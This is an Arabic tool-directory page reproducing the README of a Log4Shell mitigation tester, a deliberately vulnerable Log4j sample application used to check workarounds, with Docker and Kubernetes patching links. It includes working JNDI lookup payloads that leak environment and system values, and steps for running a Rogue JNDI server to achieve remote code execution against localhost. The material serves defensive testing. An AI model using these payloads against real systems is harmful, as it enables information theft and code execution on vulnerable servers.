Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/lhotari/log4shell-mitigation-tester
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليممختبرات وتدريب عملي
GitHublhotari/log4shell-mitigation-tester

log4shell-mitigation-tester

اختبر وتحقق من أساليب التخفيف من ثغرة Log4Shell (CVE-2021-44228) باستخدام تطبيق Log4j عينة قابل للاستغلال، بما في ذلك استغلال JNDI، والحلول البديلة لمتغيرات البيئة، وتصحيح Docker/Kubernetes.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
1613منذ 4 سنواتلم تتم المراجعة بعد

مختبِر تخفيف Log4Shell

هذا تطبيق مثال يستخدم Log4j 2.14.1 .

كود المصدر: App.java

الغرض من هذا هو القدرة على اختبار طرق التخفيف المختلفة. طرق التخفيف مذكورة أيضًا في استجابة Microsoft لـ CVE-2021-44228 Apache Log4j 2.

مثال على الاستخدام

الأمثلة مخصصة لقشرة bash

بناء التطبيق

root@kitploit:~
./gradlew assemble

التشغيل بدون أي حل بديل (workaround)

root@kitploit:~
java -jar app/build/libs/app-all.jar

اختبار ميزة البحث عن الرسائل بتمرير نص في سطر الأوامر:

root@kitploit:~
FOO='Hello ${env:USER}' java -jar app/build/libs/app-all.jar '${env:FOO}'

اختبار الحل البديل بخاصية النظام -Dlog4j2.formatMsgNoLookups=true، https://twitter.com/brunoborges/status/1469186875608875011

root@kitploit:~
java -Dlog4j2.formatMsgNoLookups=true -jar app/build/libs/app-all.jar

اختبار الحل البديل بمتغير البيئة LOG4J_FORMAT_MSG_NO_LOOKUPS=true، https://twitter.com/brunoborges/status/1469462412679991300

root@kitploit:~
LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar

اختبار الحل البديل بمتغير البيئة JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true، https://twitter.com/brunoborges/status/1469426918550245377

root@kitploit:~
JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true java -jar app/build/libs/app-all.jar

اختبار حل log4j2.component.properties في classpath:

root@kitploit:~
java -cp log4j2-formatMsgNoLookups/build/libs/log4j2-formatMsgNoLookups.jar:app/build/libs/app-all.jar log4shell.mitigation.tester.App

الرؤية تُقنع - استغلال هذا التطبيق المثال

عند تشغيل التطبيق، سترى الثغرة أثناء العمل:

root@kitploit:~
❯ java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:57:07,216] [main] [log4shell.mitigation.tester.App] INFO noLookups false
[2021-12-12 10:57:07,218] [main] [log4shell.mitigation.tester.App] INFO Lookups are enabled! The application is vulnerable for Log4Shell! Example lookup USER=lari
2021-12-12 10:57:07,239 main WARN Error looking up JNDI resource [ldap://127.0.0.1/a?user=lari]. javax.naming.InvalidNameException: ldap://127.0.0.1/a?user=lari
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:92)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)

يمكنك أيضًا تنقيح (debug) الحل ووضع نقطة توقف في الكود القابل للاستغلال وهو https://github.com/apache/logging-log4j2/blob/dd18e9b21009055e226daf5b233c92b6a17934ca/log4j-core/src/main/java/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java#L119-L135

عيّن المُنقِّح في الصنف org.apache.logging.log4j.core.pattern.MessagePatternConverter عند السطر 128.

عند تفعيل التخفيف، يجب ألا يدخل المُنقِّح إلى كتلة الكود أبدًا. كما يجب ألا تتم محاولة استدعاء LDAP:

root@kitploit:~
❯ LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:59:15,589] [main] [log4shell.mitigation.tester.App] INFO noLookups true
[2021-12-12 10:59:15,590] [main] [log4shell.mitigation.tester.App] INFO Lookups are disabled. Example lookup USER=${env:USER}
[2021-12-12 10:59:15,591] [main] [log4shell.mitigation.tester.App] INFO Provided command line arguments are [${jndi:ldap://127.0.0.1/a?user=${env:USER}}]

الاستغلال عبر Rogue JNDI

توضيح تسريب المعلومات يعتمد على تغييرات https://github.com/veracode-research/rogue-jndi/pull/11

في طرفية واحدة

root@kitploit:~
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
# build with PR https://github.com/veracode-research/rogue-jndi/pull/11 changes
git fetch origin pull/11/head
git checkout FETCH_HEAD
mvn package
# sample command is for Linux, remove `-c "zenity --progress --pulsate --text=You_are_hacked"` on other OSes or use any suitable RCE command
java -jar target/RogueJndi-1.1.jar -c "zenity --progress --pulsate --text=You_are_hacked"

في طرفية أخرى:

root@kitploit:~
# demonstrate information leakage
java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/user=${env:USER},vendor=${sys:java.vendor},javaversion=${sys:java.vm.version},os=${sys:os.version}}'
# demonstrate RCE by adding "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true"
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/o=reference}'

حلول تخفيف Log4Shell لـ Kubernetes / docker

من الضروري تخفيف Log4Shell فورًا دون انتظار إصدار برمجي جديد. إليك بعض الحلول للقيام بذلك بسرعة وفعالية.

ترقيع صور docker الموجودة بطبقة رقيقة (thin overlay) تعيّن متغير البيئة LOG4J_FORMAT_MSG_NO_LOOKUPS=true

هذا حل عام: https://github.com/lhotari/Log4Shell-mitigation-Dockerfile-overlay

مثال على ترقيع صور docker الموجودة بملفات Log4j 2.15.0 jar

هذا ليس حلاً عامًا، المثال من apache/pulsar: https://github.com/lhotari/pulsar-docker-images-patch-CVE-2021-44228

ترقيع نشرات k8s بمتغير البيئة LOG4J_FORMAT_MSG_NO_LOOKUPS=true

https://gist.github.com/brunoborges/9df576689b404aee70a8065210c77fb3

تنزيل الأداة